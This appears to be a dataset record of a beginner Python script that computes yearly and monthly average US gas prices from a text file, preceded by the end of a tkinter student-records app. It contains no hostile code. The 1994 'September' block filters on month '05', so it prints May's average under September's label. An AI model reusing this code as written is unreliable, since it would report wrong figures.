[self.TypeFirstName.get(),self.TypeLastName.get(),self.TypeStudentID.get(),self.TypeEmail.get(),self.TypeStreetAddress.get(),self.TypeCity.get(),self.TypeState.get(),self.TypeZip.get(),self.TypeGradDay.get()])\n conn.commit()\n\n c.close()\n conn.close()\n \n #Deleting all of the Entries after saving data\n self.TypeFirstName.delete(0,tk.END)\n self.TypeLastName.delete(0,tk.END)\n self.TypeStudentID.delete(0,tk.END)\n self.TypeStreetAddress.delete(0,tk.END)\n self.TypeState.delete(0,tk.END)\n self.TypeCity.delete(0,tk.END)\n self.TypeZip.delete(0,tk.END)\n self.TypeEmail.delete(0,tk.END)\n self.TypeGradDay.delete(0,tk.END)\n \n print (\"Saved\")\n return True\n\n \n \n \n \n \n#The main function \ndef main():\n app = ClientFrontend()\n app.master.title('Forwarding Information')\n app.master.geometry(\"%dx%d%+d%+d\" % (1000, 370, 300, 300))\n app.mainloop()\n \n# Calls the function\nif __name__ == '__main__':\n main()\n\n" } ]
11
robert-m-proph/Gas-Price-Analysis
https://github.com/robert-m-proph/Gas-Price-Analysis
4e19f06fe37b67e216591c253ba9e4fbd86570ec
99ec503387a906b3743449e85058d312918d316b
0a6398c2bccbfdc0f89ffab14fff12c9c581359f
refs/heads/master
2021-02-03T23:36:54.957501
2020-02-27T17:37:00
2020-02-27T17:37:00
243,575,592
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4332955777645111, "alphanum_fraction": 0.49999573826789856, "avg_line_length": 32.559749603271484, "blob_id": "fad83d25211a8b0087a0de1252cfe14fa6aed2dd", "content_id": "985c44938f9162f09e015b7b6267f080d9c2a4ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 117391, "license_type": "no_license", "max_line_length": 109, "num_lines": 3498, "path": "/gas_price_analysis.py", "repo_name": "robert-m-proph/Gas-Price-Analysis", "src_encoding": "UTF-8", "text": "# Robert Propheter\n# Gas Price Analysis\n'''\nNote from author:\n\nProgram runs, but needs to be optimized to clear repeating code. Also need to \nupdate the program to use more functions/methods, breaking the program down\ninto code that is better optimized.\n'''\n\n# ==================== Main function to run program ==========================\nprint('\\n--------------------------- Gas Prices --------------------------')\nprint(' ')\nprint(' This program will prompt a menu for you to choose between five ')\nprint(' options. This program uses data for gas prices for every week ')\nprint(' between the years 1993-2013. ')\nprint(' ')\n\n\ndef main():\n again = True\n while again == True: \n try:\n file = open('GasPrices.txt', 'r') # Open the file to read \n contents = file.readlines() # Creating file object\n file.close() # Close file\n \n # Stripping the Newline\n for i in range(len(contents)):\n contents[i] = contents[i].rstrip('\\n') \n \n \n # Presenting the Main Menu to the User \n print('\\t ---------------- Main Menu -------------------- ')\n print('\\t [1] Average Gas Prices Per Year ')\n print('\\t [2] Average Gas Prices Per Month ')\n print('\\t [3] Highest and Lowest Gas Prices Per Year ')\n print('\\t [4] List of Gas Prices Lowest - Highest ')\n print('\\t [5] List of Gas Prices Highest - Lowest ')\n print('\\t ')\n \n choice = int(input('\\n\\t\\tYour Choice: ')) \n\n if choice == 1:\n avg_per_year(contents)\n \n elif choice == 2:\n # Presenting the Average Monthly Price Menu to the User \n print('\\n\\t -------------------- Menu ---------------------- ')\n print('\\t Choose a year to view monthly average gas prices ')\n print('\\n\\t [1] 1993 ')\n print('\\t [2] 1994 ')\n print('\\t [3] 1995 ')\n print('\\t [4] 1996 ')\n print('\\t [5] 1997 ')\n print('\\t [6] 1998 ')\n print('\\t [7] 1999 ')\n print('\\t [8] 2000 ')\n print('\\t [9] 2001 ')\n print('\\t [10] 2002 ')\n print('\\t [11] 2003 ')\n print('\\t [12] 2004 ')\n print('\\t [13] 2005 ')\n print('\\t [14] 2006 ')\n print('\\t [15] 2007 ')\n print('\\t [16] 2008 ')\n print('\\t [17] 2009 ')\n print('\\t [18] 2010 ')\n print('\\t [19] 2011 ')\n print('\\t [20] 2012 ')\n print('\\t [21] 2013 ')\n \n choice = int(input('\\n\\t Your Choice: '))\n \n if choice == 1:\n avg_per_month_1993(contents)\n elif choice == 2:\n avg_per_month_1994(contents)\n elif choice == 3:\n avg_per_month_1995(contents)\n elif choice == 4:\n avg_per_month_1996(contents)\n elif choice == 5:\n avg_per_month_1997(contents) \n elif choice == 6:\n avg_per_month_1998(contents)\n elif choice == 7:\n avg_per_month_1999(contents) \n elif choice == 8:\n avg_per_month_2000(contents)\n elif choice == 9:\n avg_per_month_2001(contents) \n elif choice == 10:\n avg_per_month_2002(contents)\n elif choice == 11:\n avg_per_month_2003(contents) \n elif choice == 12:\n avg_per_month_2004(contents)\n elif choice == 13:\n avg_per_month_2005(contents) \n elif choice == 14:\n avg_per_month_2006(contents)\n elif choice == 15:\n avg_per_month_2007(contents) \n elif choice == 16:\n avg_per_month_2008(contents)\n elif choice == 17:\n avg_per_month_2009(contents) \n elif choice == 18:\n avg_per_month_2010(contents)\n elif choice == 19:\n avg_per_month_2011(contents) \n elif choice == 20:\n avg_per_month_2012(contents)\n elif choice == 21:\n avg_per_month_2013(contents)\n elif choice > 5 or choice < 1:\n print('\\n------------------------- E R R O R --------------------------') \n print('You did not choose one of the Menu options. Review your')\n print('choice, make sure you are choosing the menu option and')\n print('not the year, and try again!. ')\n print()\n print()\n main() \n \n elif choice == 3:\n high_and_low_per_year(contents) \n elif choice == 4:\n list_low_to_high(contents) \n elif choice == 5:\n list_high_to_low(contents) \n elif choice > 5 or choice < 1:\n print('\\n------------------------- E R R O R --------------------------') \n print('You did not choose one of the Menu options. Review your')\n print('choice, make sure you are choosing a menu option, and ')\n print('try again!. ')\n print()\n print()\n main()\n \n # Asking the user if they want to run program again\n print('\\n\\t ---------------------------------------------- ')\n print('\\n\\t Would you like to run the program again?')\n again = input('\\t Yes or No: ')\n \n if again.lower() == 'yes' or again.lower() == 'y':\n again = True\n print()\n elif again.lower() == 'no' or again.lower() == 'n':\n print('\\n------------------------------------------------------------------')\n print('\\n\\t\\tThank You! Have a Great Day!')\n print('\\n------------------------------------------------------------------')\n again = False \n else:\n print('\\nYou did not enter either Yes or No. The program' +\n ' will now end.')\n print('------------------------------------------------------------------')\n again = False \n \n except IOError:\n print('\\n------------------------- E R R O R --------------------------') \n print('An error occurred while trying to read the file.')\n print('Check the spelling of the file you are trying to open.')\n #except: \n #print('An error occurred.') \n \n \n \n \n# --- FUNCTIONS ---\n\n# ====== Converting the gas prices to floats and finding AVERAGE PER YEAR ====\n\ndef avg_per_year(contents):\n print('\\n--------------- The Average Price of Gas Per Year ---------------')\n \n # 1993\n total = 0\n prices93 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1993': # slicing the string to match substring\n prices93.append(float(contents[i][11:])) # converting the price to float\n for i in range(len(prices93)): # adding all prices for total\n total += prices93[i]\n avg = total / len(prices93) # finding average\n print('1993 = $' + format(avg, ',.3f'))\n\n # 1994\n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994':\n prices94.append(float(contents[i][11:]))\n for i in range(len(prices94)):\n total += prices94[i]\n avg = total / len(prices94)\n print('1994 = $' + format(avg, ',.3f')) \n\n # 1995\n total = 0\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995':\n prices95.append(float(contents[i][11:]))\n for i in range(len(prices95)):\n total += prices95[i]\n avg = total / len(prices95)\n print('1995 = $' + format(avg, ',.3f')) \n\n # 1996\n total = 0\n prices96 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996':\n prices96.append(float(contents[i][11:]))\n for i in range(len(prices96)):\n total += prices96[i]\n avg = total / len(prices96)\n print('1996 = $' + format(avg, ',.3f'))\n \n # 1997\n total = 0\n prices97 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997':\n prices97.append(float(contents[i][11:]))\n for i in range(len(prices97)):\n total += prices97[i]\n avg = total / len(prices97)\n print('1997 = $' + format(avg, ',.3f')) \n \n # 1998\n total = 0\n prices98 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998':\n prices98.append(float(contents[i][11:]))\n for i in range(len(prices98)):\n total += prices98[i]\n avg = total / len(prices98)\n print('1998 = $' + format(avg, ',.3f')) \n\n # 1999\n total = 0\n prices99 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999':\n prices99.append(float(contents[i][11:]))\n for i in range(len(prices99)):\n total += prices99[i]\n avg = total / len(prices99)\n print('1999 = $' + format(avg, ',.3f')) \n\n # 2000\n total = 0\n prices00 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000':\n prices00.append(float(contents[i][11:]))\n for i in range(len(prices00)):\n total += prices00[i]\n avg = total / len(prices00)\n print('2000 = $' + format(avg, ',.3f')) \n\n # 2001\n total = 0\n prices01 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001':\n prices01.append(float(contents[i][11:]))\n for i in range(len(prices01)):\n total += prices01[i]\n avg = total / len(prices01)\n print('2001 = $' + format(avg, ',.3f')) \n\n # 2002\n total = 0\n prices02 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002':\n prices02.append(float(contents[i][11:]))\n for i in range(len(prices02)):\n total += prices02[i]\n avg = total / len(prices02)\n print('2002 = $' + format(avg, ',.3f'))\n \n # 2003\n total = 0\n prices03 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003':\n prices03.append(float(contents[i][11:]))\n for i in range(len(prices03)):\n total += prices03[i]\n avg = total / len(prices03)\n print('2003 = $' + format(avg, ',.3f')) \n\n # 2004\n total = 0\n prices04 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004':\n prices04.append(float(contents[i][11:]))\n for i in range(len(prices04)):\n total += prices04[i]\n avg = total / len(prices04)\n print('2004 = $' + format(avg, ',.3f')) \n\n # 2005\n total = 0\n prices05 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005':\n prices05.append(float(contents[i][11:]))\n for i in range(len(prices05)):\n total += prices05[i]\n avg = total / len(prices05)\n print('2005 = $' + format(avg, ',.3f'))\n \n # 2006\n total = 0\n prices06 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006':\n prices06.append(float(contents[i][11:]))\n for i in range(len(prices06)):\n total += prices06[i]\n avg = total / len(prices06)\n print('2006 = $' + format(avg, ',.3f')) \n\n # 2007\n total = 0\n prices07 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007':\n prices07.append(float(contents[i][11:]))\n for i in range(len(prices07)):\n total += prices07[i]\n avg = total / len(prices07)\n print('2007 = $' + format(avg, ',.3f')) \n\n # 2008\n total = 0\n prices08 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008':\n prices08.append(float(contents[i][11:]))\n for i in range(len(prices08)):\n total += prices08[i]\n avg = total / len(prices08)\n print('2008 = $' + format(avg, ',.3f')) \n\n # 2009\n total = 0\n prices09 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009':\n prices09.append(float(contents[i][11:]))\n for i in range(len(prices09)):\n total += prices09[i]\n avg = total / len(prices09)\n print('2009 = $' + format(avg, ',.3f')) \n\n # 2010\n total = 0\n prices10 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010':\n prices10.append(float(contents[i][11:]))\n for i in range(len(prices10)):\n total += prices10[i]\n avg = total / len(prices10)\n print('2010 = $' + format(avg, ',.3f')) \n\n # 2011\n total = 0\n prices11 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011':\n prices11.append(float(contents[i][11:]))\n for i in range(len(prices11)):\n total += prices11[i]\n avg = total / len(prices11)\n print('2011 = $' + format(avg, ',.3f')) \n\n # 2012\n total = 0\n prices12 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012':\n prices12.append(float(contents[i][11:]))\n for i in range(len(prices12)):\n total += prices12[i]\n avg = total / len(prices12)\n print('2012 = $' + format(avg, ',.3f')) \n\n # 2013\n total = 0\n prices13 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2013':\n prices13.append(float(contents[i][11:]))\n for i in range(len(prices13)):\n total += prices13[i]\n avg = total / len(prices13)\n print('2013 = $' + format(avg, ',.3f')) \n\n\n# ========================== Average Per Month 1993 ===========================\n\ndef avg_per_month_1993(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 1993 ---------------')\n print('\\nNOTE: 1993\\'s data starts the week of April 5th.')\n # April \n total = 0\n prices93 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1993' and contents[i][0:2] == '04': # slicing the string to match substrings\n prices93.append(float(contents[i][11:])) # converting the price to float\n for i in range(len(prices93)): # adding all prices for total\n total += prices93[i]\n avg = total / len(prices93) # finding average\n print('\\nApril = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices93 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1993' and contents[i][0:2] == '05': \n prices93.append(float(contents[i][11:])) \n for i in range(len(prices93)): \n total += prices93[i]\n avg = total / len(prices93) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices93 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1993' and contents[i][0:2] == '06': \n prices93.append(float(contents[i][11:])) \n for i in range(len(prices93)): \n total += prices93[i]\n avg = total / len(prices93) \n print('June = $' + format(avg, ',.3f'))\n \n # July \n total = 0\n prices93 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1993' and contents[i][0:2] == '07': \n prices93.append(float(contents[i][11:])) \n for i in range(len(prices93)): \n total += prices93[i]\n avg = total / len(prices93) \n print('July = $' + format(avg, ',.3f'))\n \n # August\n total = 0\n prices93 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1993' and contents[i][0:2] == '08': \n prices93.append(float(contents[i][11:])) \n for i in range(len(prices93)): \n total += prices93[i]\n avg = total / len(prices93) \n print('August = $' + format(avg, ',.3f'))\n \n # September \n total = 0\n prices93 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1993' and contents[i][0:2] == '09': \n prices93.append(float(contents[i][11:])) \n for i in range(len(prices93)):\n total += prices93[i]\n avg = total / len(prices93) \n print('September = $' + format(avg, ',.3f')) \n \n # October \n total = 0\n prices93 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1993' and contents[i][0:2] == '10':\n prices93.append(float(contents[i][11:])) \n for i in range(len(prices93)): \n total += prices93[i]\n avg = total / len(prices93) \n print('October = $' + format(avg, ',.3f'))\n \n # November \n total = 0\n prices93 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1993' and contents[i][0:2] == '11': \n prices93.append(float(contents[i][11:])) \n for i in range(len(prices93)): \n total += prices93[i]\n avg = total / len(prices93) \n print('November = $' + format(avg, ',.3f'))\n \n # December \n total = 0\n prices93 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1993' and contents[i][0:2] == '12': \n prices93.append(float(contents[i][11:])) \n for i in range(len(prices93)): \n total += prices93[i]\n avg = total / len(prices93) \n print('December = $' + format(avg, ',.3f')) \n\n# ========================== Average Per Month 1994 ===========================\n\ndef avg_per_month_1994(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 1994 ---------------')\n # January \n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994' and contents[i][0:2] == '01': \n prices94.append(float(contents[i][11:])) \n for i in range(len(prices94)): \n total += prices94[i]\n avg = total / len(prices94) \n print('January = $' + format(avg, ',.3f'))\n \n # February \n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994' and contents[i][0:2] == '02': \n prices94.append(float(contents[i][11:])) \n for i in range(len(prices94)): \n total += prices94[i]\n avg = total / len(prices94) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994' and contents[i][0:2] == '03':\n prices94.append(float(contents[i][11:])) \n for i in range(len(prices94)): \n total += prices94[i]\n avg = total / len(prices94) \n print('March = $' + format(avg, ',.3f'))\n \n # April \n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994' and contents[i][0:2] == '04': \n prices94.append(float(contents[i][11:])) \n for i in range(len(prices94)): \n total += prices94[i]\n avg = total / len(prices94) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994' and contents[i][0:2] == '05': \n prices94.append(float(contents[i][11:])) \n for i in range(len(prices94)): \n total += prices94[i]\n avg = total / len(prices94) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994' and contents[i][0:2] == '06': \n prices94.append(float(contents[i][11:])) \n for i in range(len(prices94)): \n total += prices94[i]\n avg = total / len(prices94) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994' and contents[i][0:2] == '07': \n prices94.append(float(contents[i][11:])) \n for i in range(len(prices94)): \n total += prices94[i]\n avg = total / len(prices94) \n print('July = $' + format(avg, ',.3f')) \n\n # August \n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994' and contents[i][0:2] == '08': \n prices94.append(float(contents[i][11:])) \n for i in range(len(prices94)): \n total += prices94[i]\n avg = total / len(prices94) \n print('August = $' + format(avg, ',.3f')) \n \n # September \n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994' and contents[i][0:2] == '05': \n prices94.append(float(contents[i][11:])) \n for i in range(len(prices94)): \n total += prices94[i]\n avg = total / len(prices94) \n print('September = $' + format(avg, ',.3f')) \n \n # October \n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994' and contents[i][0:2] == '10': \n prices94.append(float(contents[i][11:])) \n for i in range(len(prices94)): \n total += prices94[i]\n avg = total / len(prices94) \n print('October = $' + format(avg, ',.3f'))\n \n # November \n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994' and contents[i][0:2] == '11': \n prices94.append(float(contents[i][11:])) \n for i in range(len(prices94)): \n total += prices94[i]\n avg = total / len(prices94) \n print('November = $' + format(avg, ',.3f')) \n \n # December\n total = 0\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994' and contents[i][0:2] == '12': \n prices94.append(float(contents[i][11:])) \n for i in range(len(prices94)): \n total += prices94[i]\n avg = total / len(prices94) \n print('December = $' + format(avg, ',.3f'))\n\n# ========================== Average Per Month 1995 ===========================\n\ndef avg_per_month_1995(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 1995 ---------------')\n # January \n total = 0\n prices95= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995' and contents[i][0:2] == '01': \n prices95.append(float(contents[i][11:])) \n for i in range(len(prices95)): \n total += prices95[i]\n avg = total / len(prices95) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995' and contents[i][0:2] == '02': \n prices95.append(float(contents[i][11:])) \n for i in range(len(prices95)): \n total += prices95[i]\n avg = total / len(prices95) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995' and contents[i][0:2] == '03': \n prices95.append(float(contents[i][11:])) \n for i in range(len(prices95)): \n total += prices95[i]\n avg = total / len(prices95) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995' and contents[i][0:2] == '04': \n prices95.append(float(contents[i][11:])) \n for i in range(len(prices95)): \n total += prices95[i]\n avg = total / len(prices95) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995' and contents[i][0:2] == '05': \n prices95.append(float(contents[i][11:])) \n for i in range(len(prices95)): \n total += prices95[i]\n avg = total / len(prices95) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995' and contents[i][0:2] == '06': \n prices95.append(float(contents[i][11:])) \n for i in range(len(prices95)): \n total += prices95[i]\n avg = total / len(prices95) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995' and contents[i][0:2] == '07': \n prices95.append(float(contents[i][11:])) \n for i in range(len(prices95)): \n total += prices95[i]\n avg = total / len(prices95) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995' and contents[i][0:2] == '08': \n prices95.append(float(contents[i][11:])) \n for i in range(len(prices95)): \n total += prices95[i]\n avg = total / len(prices95) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995' and contents[i][0:2] == '09': \n prices95.append(float(contents[i][11:])) \n for i in range(len(prices95)): \n total += prices95[i]\n avg = total / len(prices95) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995' and contents[i][0:2] == '10': \n prices95.append(float(contents[i][11:])) \n for i in range(len(prices95)): \n total += prices95[i]\n avg = total / len(prices95) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995' and contents[i][0:2] == '11': \n prices95.append(float(contents[i][11:])) \n for i in range(len(prices95)): \n total += prices95[i]\n avg = total / len(prices95) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995' and contents[i][0:2] == '12': \n prices95.append(float(contents[i][11:])) \n for i in range(len(prices95)): \n total += prices95[i]\n avg = total / len(prices95) \n print('December = $' + format(avg, ',.3f'))\n\n# ========================== Average Per Month 1996 ===========================\n\ndef avg_per_month_1996(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 1996 ---------------')\n # January \n total = 0\n prices96= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996' and contents[i][0:2] == '01': \n prices96.append(float(contents[i][11:])) \n for i in range(len(prices96)): \n total += prices96[i]\n avg = total / len(prices96) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices96= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996' and contents[i][0:2] == '02': \n prices96.append(float(contents[i][11:])) \n for i in range(len(prices96)): \n total += prices96[i]\n avg = total / len(prices96) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices96= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996' and contents[i][0:2] == '03': \n prices96.append(float(contents[i][11:])) \n for i in range(len(prices96)): \n total += prices96[i]\n avg = total / len(prices96) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices96= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996' and contents[i][0:2] == '04': \n prices96.append(float(contents[i][11:])) \n for i in range(len(prices96)): \n total += prices96[i]\n avg = total / len(prices96) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices96= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996' and contents[i][0:2] == '05': \n prices96.append(float(contents[i][11:])) \n for i in range(len(prices96)): \n total += prices96[i]\n avg = total / len(prices96) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices96= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996' and contents[i][0:2] == '06': \n prices96.append(float(contents[i][11:])) \n for i in range(len(prices96)): \n total += prices96[i]\n avg = total / len(prices96) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices96= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996' and contents[i][0:2] == '07': \n prices96.append(float(contents[i][11:])) \n for i in range(len(prices96)): \n total += prices96[i]\n avg = total / len(prices96) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices96= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996' and contents[i][0:2] == '08': \n prices96.append(float(contents[i][11:])) \n for i in range(len(prices96)): \n total += prices96[i]\n avg = total / len(prices96) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices96= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996' and contents[i][0:2] == '09': \n prices96.append(float(contents[i][11:])) \n for i in range(len(prices96)): \n total += prices96[i]\n avg = total / len(prices96) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices96= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996' and contents[i][0:2] == '10': \n prices96.append(float(contents[i][11:])) \n for i in range(len(prices96)): \n total += prices96[i]\n avg = total / len(prices96) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices96= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996' and contents[i][0:2] == '11': \n prices96.append(float(contents[i][11:])) \n for i in range(len(prices96)): \n total += prices96[i]\n avg = total / len(prices96) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices96= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996' and contents[i][0:2] == '12': \n prices96.append(float(contents[i][11:])) \n for i in range(len(prices96)): \n total += prices96[i]\n avg = total / len(prices96) \n print('December = $' + format(avg, ',.3f'))\n\n# ========================== Average Per Month 1997 ===========================\n\ndef avg_per_month_1997(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 1997 ---------------')\n # January \n total = 0\n prices97= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997' and contents[i][0:2] == '01': \n prices97.append(float(contents[i][11:])) \n for i in range(len(prices97)): \n total += prices97[i]\n avg = total / len(prices97) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices97= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997' and contents[i][0:2] == '02': \n prices97.append(float(contents[i][11:])) \n for i in range(len(prices97)): \n total += prices97[i]\n avg = total / len(prices97) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices97= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997' and contents[i][0:2] == '03': \n prices97.append(float(contents[i][11:])) \n for i in range(len(prices97)): \n total += prices97[i]\n avg = total / len(prices97) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices97= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997' and contents[i][0:2] == '04': \n prices97.append(float(contents[i][11:])) \n for i in range(len(prices97)): \n total += prices97[i]\n avg = total / len(prices97) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices97= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997' and contents[i][0:2] == '05': \n prices97.append(float(contents[i][11:])) \n for i in range(len(prices97)): \n total += prices97[i]\n avg = total / len(prices97) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices97= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997' and contents[i][0:2] == '06': \n prices97.append(float(contents[i][11:])) \n for i in range(len(prices97)): \n total += prices97[i]\n avg = total / len(prices97) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices97= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997' and contents[i][0:2] == '07': \n prices97.append(float(contents[i][11:])) \n for i in range(len(prices97)): \n total += prices97[i]\n avg = total / len(prices97) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices97= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997' and contents[i][0:2] == '08': \n prices97.append(float(contents[i][11:])) \n for i in range(len(prices97)): \n total += prices97[i]\n avg = total / len(prices97) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices97= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997' and contents[i][0:2] == '09': \n prices97.append(float(contents[i][11:])) \n for i in range(len(prices97)): \n total += prices97[i]\n avg = total / len(prices97) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices97= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997' and contents[i][0:2] == '10': \n prices97.append(float(contents[i][11:])) \n for i in range(len(prices97)): \n total += prices97[i]\n avg = total / len(prices97) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices97= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997' and contents[i][0:2] == '11': \n prices97.append(float(contents[i][11:])) \n for i in range(len(prices97)): \n total += prices97[i]\n avg = total / len(prices97) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices97= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997' and contents[i][0:2] == '12': \n prices97.append(float(contents[i][11:])) \n for i in range(len(prices97)): \n total += prices97[i]\n avg = total / len(prices97) \n print('December = $' + format(avg, ',.3f'))\n\n# ========================== Average Per Month 1998 ===========================\n\ndef avg_per_month_1998(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 1998 ---------------')\n # January \n total = 0\n prices98= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998' and contents[i][0:2] == '01': \n prices98.append(float(contents[i][11:])) \n for i in range(len(prices98)): \n total += prices98[i]\n avg = total / len(prices98) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices98= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998' and contents[i][0:2] == '02': \n prices98.append(float(contents[i][11:])) \n for i in range(len(prices98)): \n total += prices98[i]\n avg = total / len(prices98) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices98= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998' and contents[i][0:2] == '03': \n prices98.append(float(contents[i][11:])) \n for i in range(len(prices98)): \n total += prices98[i]\n avg = total / len(prices98) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total 